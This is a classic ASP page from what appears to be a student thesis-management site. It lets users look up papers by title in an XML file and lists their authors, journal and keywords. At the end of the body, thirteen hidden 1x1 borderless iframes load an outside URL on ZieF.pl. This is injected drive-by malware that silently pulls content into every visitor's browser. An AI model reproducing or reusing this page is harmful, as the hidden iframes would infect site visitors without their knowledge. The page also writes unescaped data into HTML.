📄 select2.asp
字号:
<%@ language="VBScript" %>
<html>
<head>
<title>按标题查询</title>
<style type="text/css">
<!--
#Layer1 {
position:absolute;
left:437px;
top:134px;
width:404px;
height:20px;
z-index:1;
}
body,td,th {
font-size: 14px;
}
body {
background-repeat: no-repeat;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<script language="VBScript">
sub select2()
if form1.title.value=Empty then
msgbox "请输入标题名!",48,"注意！"
else
form1.submit
end if
end sub
</script>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body background="img/GB.jpg">
<div id="Layer1"><a href="GBList.asp" >[论文列表]</a><span ><a href="GBAppend.htm">[添加论文]</a></span><span ><a href="GBDelete.asp">[删除论文]</a></span><span ><a href="select1.asp">［作者查询]</a></span><a href="select3.asp"><span >［关键字查询]</span> </a></div>
<form name="form1" method="post" action="select2.asp" >
<table width="950" border="0" cellpadding="0" cellspacing="0" >
<!--DWLayoutTable-->
<tr>
<td width="115" height="171"> </td>
<td width="722"> </td>
<td width="113"> </td>
</tr>
<tr>
<td height="295"> </td>
<td valign="top"><center>
<p>标题名：<input type="text" name="title" size="18"id="s1">
<input type="button" value="查询" onClick="select2"></p><br>
<table border="0" align="center" CELLPADDING="5">
<thead>
<th>标题</th>
<th>作者</th>
<th>刊名</th>
<th>关键字</th>
</thead>
<%
dim title
title=Request.form("title")
set xmldoc=server.createObject("MSXML.DOMDocument")
xmldoc.async="false"
xmldoc.load(server.mappath("lw.xml"))
set Nodes=xmldoc.documentElement.childNodes
k=1
for i=0 to nodes.length -1
if k mod 2=0 then
row="<tr bgcolor=#eeeeee>"
else
row="<tr bgcolor=#d0d0ef>"
end if
if nodes(i).childNodes(0).text = title then
for j=0 to nodes(i).childNodes.length -1
str1=nodes(i).childNodes(0).text
if nodes(i).childNodes(j).nodeName = "author" then
str2=str2+ nodes(i).childNodes(j).text+" "
end if
next
for x=0 to nodes(i).childNodes.length-1
if nodes(i).childNodes(x).nodeName = "kanming" then
str3=nodes(i).childNodes(x).text
end if
next
for z=0 to nodes(i).childNodes.length-1
if nodes(i).childNodes(z).nodeName = "keywords" then
str4=str4+nodes(i).childNodes(z).text+" "
end if
next
row=row&"<td><a href='GBView.asp?id="&i&"'>"
row=row&str1&"</a></td>"
row=row&"<td>"&str2&"</td>"
row=row&"<td>"&str3&"</td>"
row=row&"<td>"&str4&"</td>"
response.write row&"</tr>"
end if
k=k+1
next
set xmldoc=nothing
%>
</table>
<hr>
</center> </td>
<td> </td>
</tr>
<tr>
<td height="120"> </td>
<td> </td>
<td> </td>
</tr>
</table>
</form>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -